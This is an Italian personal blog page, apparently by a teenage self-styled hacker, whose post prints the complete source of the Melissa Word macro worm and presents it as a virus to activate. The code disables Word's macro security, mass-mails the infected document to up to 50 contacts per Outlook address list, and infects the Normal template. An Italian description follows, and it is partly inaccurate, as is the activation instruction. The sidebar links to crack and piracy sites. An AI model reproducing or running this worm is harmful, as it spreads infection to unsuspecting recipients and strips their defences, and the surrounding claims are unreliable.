|
Creato da Ale_XXL il 28/10/2008
hacking,cracking,virus ecc... Ciao a tutti! Io mi chiamao Alessandro ho 14 e sn appassioanbto di computer,infatti faccio informtica alle superiori,come potet vdere dal blog sn un hacker in crescita,anche se accnedo il pc qnd mi rmpo o mi nnoio,perche di solito sono con gli amici o gioco a calcio.Divertitevi col sito,se serv qualcosa fatemelo sapere.
|
Area personale
Tag
Menu
Giochi online
« Il Cracking | Creare irus in bat » |
Questo virus è costruito in visual basic script. Per renderlo attivo, la sua rinominazione deve essere in .vbs .
On Error Resume Next
If System.PrivateProfileString("","HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity","Level")<>""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
------------------------------------------------
Melissa è in grado di infettare file di Microsoft Word, e di autoinviarsi per posta elettronica tramite il client Outlook Express. Viene spedito in un file chiamato list.doc, contenente le password per accedere ad alcuni siti pornografici. Quando il file viene aperto, il virus modifica i documenti della vittima inserendovi frasi tratte dalla serie TV I Simpson. Inoltre è in grado di trasmettere informazioni personali verso l'esterno senza che l'utente se ne accorga. Melissa viene attivato quando si apre il file infetto list.doc, il quale svolge due azioni:
* Diffusione: una volta che il virus si è installato nel sistema, avendo libero accesso alla rubrica, spedisce il documento infetto ai primi 50 contatti.
* Infezione: il suo scopo è quello di disabilitare le difese da macro e, se l'utente scrive file Word in un giorno la cui data è uguale a quello dell'ora in cui è avvenuta l'infezione, il virus lo modifica scrivendoci: «Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here».
I miei link preferiti
- Sito di streaming
- Altro sito di streaming
- megastreaming
- megastreaming
- scaricare da megavideo
- giochi per killare il tempo
- sito di streaming
- sito xxx per amazzare il tempo
- sito xxx molto famoso
- il famoso sito di streaming megavideo
- sito per crack e patch per giochi
- sito di trucchi crack e patch per giochi e altro
- Home + Giochi + Crack, Utility e Patch
- altri siti che parlano di hacking&cracking
I miei Blog Amici
Cerca in questo Blog
Ultimi commenti
Inviato da: ped
il 23/08/2009 alle 23:29
Inviato da: isabeaudreams
il 02/06/2009 alle 20:56
Inviato da: sara.princess1987
il 31/05/2009 alle 14:09
Contatta l'autore
Nickname: Ale_XXL
|
|
|
![]() ![]() ![]() ![]() Età: 36 Prov: BS |